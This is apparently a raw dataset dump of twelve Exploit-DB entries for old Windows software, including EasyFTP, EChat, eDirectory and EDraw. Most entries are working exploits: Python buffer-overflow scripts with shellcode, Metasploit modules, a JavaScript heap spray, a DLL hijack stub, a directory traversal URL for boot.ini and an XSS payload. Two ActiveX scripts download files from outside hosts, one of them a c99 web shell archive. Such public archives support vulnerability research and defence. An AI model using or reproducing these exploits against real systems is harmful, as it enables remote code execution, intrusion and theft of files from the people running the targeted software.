deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11539
Description: EasyFTP Server 1.7.0.2 - CWD Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2010-02-22
Author: athleet

Exploit:
# Tested on: XP SP3 (Eng)
#!/usr/bin/python
import socket, sys

print """
*************************************************
*	Easy FTP Server 1.7.0.2 Remote BoF	*
*	    Discovered by: athleet	 		*
*	jonbutler88[at]googlemail[dot]com	*
*************************************************
"""

if len(sys.argv) != 3:
	print "Usage: ./easyftp.py <Target IP> <Port>"
	sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])

# Calc.exe PoC shellcode - Tested on XP Pro SP3 (Eng)
#
# B *0X009AFE44
#
shellcode = (
"\xba\x20\xf0\xfd\x7f" # 			MOV EDX,7FFDF020
"\xc7\x02\x4c\xaa\xf8\x77" # 		MOV DWORD PTR DS:[EDX],77F8AA4C
"\x33\xC0" # 						XOR EAX,EAX
"\x50" # 							PUSH EAX
"\x68\x63\x61\x6C\x63" #			PUSH 636C6163
"\x54" #							PUSH ESP
"\x5B" #							POP EBX
"\x50" #							PUSH EAX
"\x53" #							PUSH EBX
"\xB9\xC7\x93\xC2\x77" #			MOV ECX,77C293C7
"\xFF\xD1" #						CALL ECX
"\xEB\xF7" #						JMP SHORT 009AFE5B
)

nopsled = "\x90" * (268 - len(shellcode))

ret = "\x58\xFD\x9A\x00"

payload = nopsled + shellcode + ret # 272 bytes

print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	connect=s.connect((target, port))
	print "[+] Connected!"
except:
	print "[!] Connection failed!"
	sys.exit(0)
s.recv(1024) 
s.send('USER anonymous\r\n') 
s.recv(1024) 
s.send('PASS anonymous\r\n') 
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n') 
try:
	s.recv(1024)
	print "[!] Exploit failed..."
except:
	print "[+] Exploited ^_^"
Exploit-DB #11668
Description: EasyFTP Server 1.7.0.2 - CWD Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-03-09
Author: blake

Exploit:
# Exploit Title: Easy~FTP
# Date: March 9, 2010
# Author: Blake
# Version: 1.7.0.2
# Tested on: Windows XP SP3
# CVE :

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the CWD verb in Easy~FTP Server.

You must have valid credentials to trigger this vulnerability.
},
'Author' => 'Blake',
'License' => MSF_LICENSE,
'Version' => 'version 1',
'References' =>
[
[ 'CVE', ''],
[ 'OSVDB', ''],
[ 'EDB-ID', '11539'],
[ 'URL', 'http://www.exploit-db.com/exploits/11539' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 268,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[

[ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ],

],
'DisclosureDate' => 'February 15, 2010',
'DefaultTarget' => 0))
end


def exploit
connect_login

sploit = "\x90" * (268 - payload.encoded.length)
sploit << payload.encoded
sploit << [target.ret].pack('V')

print_status("Trying target #{target.name<http://target.name>}...")

send_cmd( ['CWD', sploit] , false)

handler
disconnect
end

end
Exploit-DB #7402
Description: EasyMail - ActiveX 'emmailstore.dll 6.5.0.3' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-12-09
Author: e.wiZz!

Exploit:
################  EasyMail ActiveX Heap Spray Exploit  ############
 
By: e.wiZz! & shinnai
Site:  infected.blogger.ba & shinnai.net
 
 
#######Info: #########################################
 
CompanyName        Quiksoft Corporation
FileDescription        EasyMail MailStore Object
FileVersion        6, 5, 0, 3
Vulnerable file         emmailstore.dll
 
 
 
<html>  
 <script language="JavaScript" defer>  
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");  
  var sSlide = unescape("%u9090%u9090");  
  var heapSA = 0x0c0c0c0c;  
  function tryMe()  
   {  
    var buffSize = 3000;  
    var x =  unescape("%0c%0c%0c%0c");  
    while (x.length<buffSize) x += x;  
    x = x.substring(0,buffSize);  
    boom.CreateStore(x, 1);  
  }  
  function getsSlide(sSlide, sSlideSize)  
   {  
    while (sSlide.length*2<sSlideSize)  
     {  
      sSlide += sSlide;  
     }  
    sSlide = sSlide.substring(0,sSlideSize/2);  
    return (sSlide);  
  }  
  var heapBS = 0x400000;  
  var sizeHDM = 0x5;  
  var PLSize = (sCode.length * 2);  
  var sSlideSize = heapBS - (PLSize + sizeHDM);  
  var heapBlocks = (heapSA+heapBS)/heapBS;  
  var memory = new Array();  
  sSlide = getsSlide(sSlide,sSlideSize);  
  for (i=0;i<heapBlocks;i++)  
   {  
    memory[i] = sSlide +  sCode;  
   }  
 </script>  
 <body onload="JavaScript: return tryMe();">  
  <object id="boom" classid="clsid:5B8BE023-76A2-4F6D-8993-F7E588D79D98">  
   By e.wiZz! & shinnai  
  </object>  
 </body>  
</html>

# milw0rm.com [2008-12-09]
Exploit-DB #4453
Description: EB Design Pty Ltd - 'EBCRYPT.dll 2.0' Multiple Remote Vulnerabilities
Type: remote
Platform: windows
Date: 2007-09-24
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilites</b>
 url: http://www.ebcrypt.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 KillBitSet: False</b>

 This control contains two vulnerabilities:
 1) It is possible to cause a DoS passing at least one character to
    "AddString()" method. This is a dump of exception:

    Access violation when reading [3A433B2E]
    03158CA4   FF51 10 => CALL DWORD PTR DS:[ECX+10] <-- crash
    ECX 3A433B2E <-- ".;C:" (is a part of path)

 2) It is possible to overwrite a file passed as argument to "SaveToFile()"
    method
-----------------------------------------------------------------------------


<object classid='clsid:3C34EAC7-9904-4415-BBE4-82AA8C0C0BE8' id='test1'></object>
<object classid='clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C' id='test2'></object>

<input language=VBScript onclick=tryAddString() type=button value='Click here to start AddString test    '>

<input language=VBScript onclick=trySaveToFile() type=button value='Click here to start SaveToFile test'>

<script language='vbscript'>
  Sub tryAddString
   test1.AddString "A"
  End Sub

  Sub trySaveToFile
   test2.SaveToFile "C:\WINDOWS\system_.ini"
   MsgBox "Exploit completed."
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-24]
Exploit-DB #35614
Description: EC Software Help & Manual 5.5.1 Build 1296 - 'ijl15.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2011-04-14
Author: LiquidWorm

Exploit:
// source: https://www.securityfocus.com/bid/47349/info

EC Software Help & Manual is prone to an arbitrary-code-execution vulnerability.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Help & Manual 5.5.1 Build 1296 is vulnerable; other versions may also be affected. 

/*


Help & Manual Professional Edition 5.5.1 (ijl15.dll) DLL Hijacking Exploit

Vendor: EC Software GmbH
Product web page: http://www.helpandmanual.com
Affected version: 5.5.1 Build 1296

Summary: Help & Manual 5 is a single-source help authoring and content
management system for both single and multi-author editing.

Desc: Help & Manual suffers from a DLL hijacking vulnerability that enables
the attacker to execute arbitrary code on the affected machine. The vulnerable
extensions are hmxz, hmxp, hmskin, hmx, hm3, hpj, hlp and chm thru ijl15.dll
Intel's library.

Tested on: Microsoft Windows XP Professional SP3 EN

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5009
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5009.php


06.04.2011


*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #15802
Description: ecava IntegraXor 3.6.4000.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-12-21
Author: Luigi Auriemma

Exploit:
Source: http://aluigi.org/adv/integraxor_1-adv.txt

#######################################################################

                             Luigi Auriemma

Application:  Ecava IntegraXor
              http://www.integraxor.com
Versions:     <= 3.6.4000.0
Platforms:    Windows
Bug :         directory traversal
Exploitation: remote, versus server
Date:         21 Dec 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


IntegraXor is a web SCADA server used primarily in Malaysia.


#######################################################################

======
2) Bug
======


The "open" request can be used by an attacker to download files from
the disk where the server is installed through directory traversal
attacks.


#######################################################################

===========
3) The Code
===========


http://SERVER:7131/PROJECT_NAME/open?file_name=..\..\..\..\..\..\..\..\..\..\..\boot.ini

where PROJECT_NAME is the name of one of the projects hosted by the
server.


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #44155
Description: EChat Server 3.1 - 'CHAT.ghp' Buffer Overflow
Type: remote
Platform: windows
Date: 2018-02-21
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco <jsacco@exploitpack.com>
# Vulnerability found using Exploit Pack v10 - http://exploitpack.com
#
# Impact:
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in adenial-of-service condition.
#
# Program description:
# Easy Chat Server is a easy, fast and affordable way to host and manage your own real-time communication software,
# it allows friends/colleagues to chat with you through a Web Browser (IE, Safari, Chrome, Opera etc.)
# Vendor page: http://www.echatserver.com/

import string, sys
import socket, httplib
import struct

def exploit():
  try:
    junk = '\x41' * 217
    shortjmp = "\xeb\x08\xcc\xcc" # Jump over SEH
    seh = struct.pack('<L', 0x100154c5) # ADD ESP,2C # POP ESI # ADD ESP,0C # RETN    ** [SSLEAY32.dll] **   |   {PAGE_EXECUTE_READ}
    buffersize = 2775
    nops = "\x90"
    # debug = "\xcc\xcc\xcc\xcc"
    shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
                 "\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b"
                 "\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e"
                 "\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d"
                 "\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3"
                 "\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2"
                 "\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1"
                 "\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3"
                 "\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d"
                 "\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae"
                 "\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d"
                 "\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3"
                 "\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b"
                 "\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9"
                 "\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5"
                 "\x1c\x80")
    buffer = junk + shortjmp + seh + nops * (buffersize -
(len(shellcode))) + shellcode
    print buffer
    URL = '/chat.ghp?username=' + buffer + '&[CREDENTIAL_REDACTED]=1&null=2'
    conn = httplib.HTTPConnection(host, port)
    conn.request('GET', URL)
    conn.close()
  except Exception as Error:
    print "[!] Something went wrong!"
    print Error

def howtousage():
  print "[!] Sorry, minimum required arguments: [host] [port]"
  sys.exit(-1)

if __name__ == '__main__':
  print "[*] EChat Server v3.1 CHAT.ghp (UserName)"
  print "[*] Author: Juan Sacco <jsacco@exploitpack>"

  try:
    host = sys.argv[1]
    port = sys.argv[2]
  except IndexError:
    howtousage()
exploit()
Exploit-DB #21446
Description: Ecometry SGDynamo 5.32/6.1/7.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-04-17
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4720/info

SGDynamo is a web application engine for Microsoft Windows operating systems.

Script code is not filtered from URL parameters that are used as output by the SGDynamo program. This may enable an attacker to inject script code into a malicious link to the program. The script code will be executed in the browser of a user who visits the link, in the context of the site running the program.

This may enable the attacker to steal cookie-based authentication credentials from legitimate users.

http://target/sgdynamo.exe?HTNAME=<script>alert("test")</script>
Exploit-DB #16769
Description: eDirectory 8.7.3 - iMonitor Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-13
Author: Metasploit

Exploit:
##
# $Id: edirectory_imonitor.rb 9812 2010-07-13 22:11:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in eDirectory 8.7.3
				iMonitor service. This vulnerability was discovered by Peter
				Winter-Smith of NGSSoftware.

				NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
				not restart automatically in a default installation.
			},
			'Author'         => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9812 $',
			'References'     =>
				[
					[ 'CVE', '2005-2551'],
					[ 'OSVDB', '18703'],
					[ 'BID', '14548'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 4150,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
				],
			'DisclosureDate' => 'Aug 11 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(8008)
			], self.class)
	end

	def exploit
		c = connect

		# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
		uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
		uri << "\xe9\xbd\xef\xff\xff"
		uri << "B" * 0xD0

		res = c.send_request(c.request_raw({ 'uri' => uri }))
		select(nil,nil,nil,4)

		handler
		disconnect
	end

end
Exploit-DB #11877
Description: eDisplay Personal FTP Server 1.0.0 - (Authenticated) Multiple Stack Buffer Overflows (2)
Type: remote
Platform: windows
Date: 2010-03-25
Author: sud0

Exploit:
# Exploit Title : eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF
# Type of sploit: Remote Code Execution
# Bug found by  : loneferret  (march 19, 2010)
# Reference     : http://www.exploit-db.com/exploits/11810
# Exploit date  : March 24, 2010
# Author        : Sud0
# Version       : 1.0.0
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Greetz to     : corelanc0d3r and of course my friends and .... first of all my wife for supporting me and my obsession :)
# Change IP and ftp account according to your server

import socket
 
junk="B" * 37 #seh overwritten after 37 bytes
nseh= "\x74\x20\x74\x20" # jmp forward (used a JE to avoid Bad Chars)
seh= "\x69\x40\x2b\x20" # ppr from 

#shellcode for calc.exe encoded with Alpha2 basereg = eax
shellcode="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJILKJLV5LKJL3XQ0WPQ0FOCXU33Q2LSSLMPEZXV0NX9WMCIRSGKO8PA" 

#shellcode to align eax for decoder
align="\x5A\x5A\x5A\x52\x58\x2D\x3B\x55\x55\x55\x2D\x3B\x55\x55\x55\x2D\x3B\x55\x55\x55"

buffer= junk+nseh+seh + "C"* 26  + align + "C" * 25 + shellcode + "A" * 50

print "Sending Exploit .... \r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.56.101',21))
s.recv(1024)
s.send('USER fox\r\n')
s.recv(1024)
s.send('PASS mulder\r\n')
s.recv(1024)
s.send('RMD ' + buffer + '\r\n')
s.close
Exploit-DB #4598
Description: EDraw Flowchart ActiveX Control 2.0 - Insecure Method
Type: remote
Platform: windows
Date: 2007-11-02
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------------------------------
 <b>EDraw Flowchart ActiveX Control (EDImage.ocx v. 2.0.2005.1104) "HttpDownloadFile()" Insecure Method</b>
 url: http://www.anydraw.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------------------------------

<object classid='clsid:F685AFD8-A5CC-410E-98E4-BAA1C559BA61' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   On Error Resume Next
     test.HttpDownloadFile "http://www.shinnai.altervista.org/shinnai.bat", "c:\shinnai.bat"
     MsgBox("Exploit completed!")
  End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-11-02]
Exploit-DB #7762
Description: EDraw Office Viewer 5.4 - 'HttpDownloadFile()' Insecure Method
Type: remote
Platform: windows
Date: 2009-01-14
Author: Cyber-Zone

Exploit:
Edraw Office Viewer Component v5.4 HttpDownloadFile() Insecure Method



Founded By : Cyber-Zone
E-mail     : Paradis_des_fous@hotmail.fr
Home       : WwW.Exploiter5.CoM
GreetZ     : Houssamix , Hussin X , JiKo , StaCk , str0ke , The_5p3ctrum , BayHay , All Mgharba Wahed wahed Oujda 2009







<object classid='clsid:6BA21C22-53A5-463f-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
    test.HttpDownloadFile "http://exploiter5.com/Cyber-Zone/c99.rar", "c:\Cyber-Zone\c99.rar"
    MsgBox("Done!")
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2009-01-14]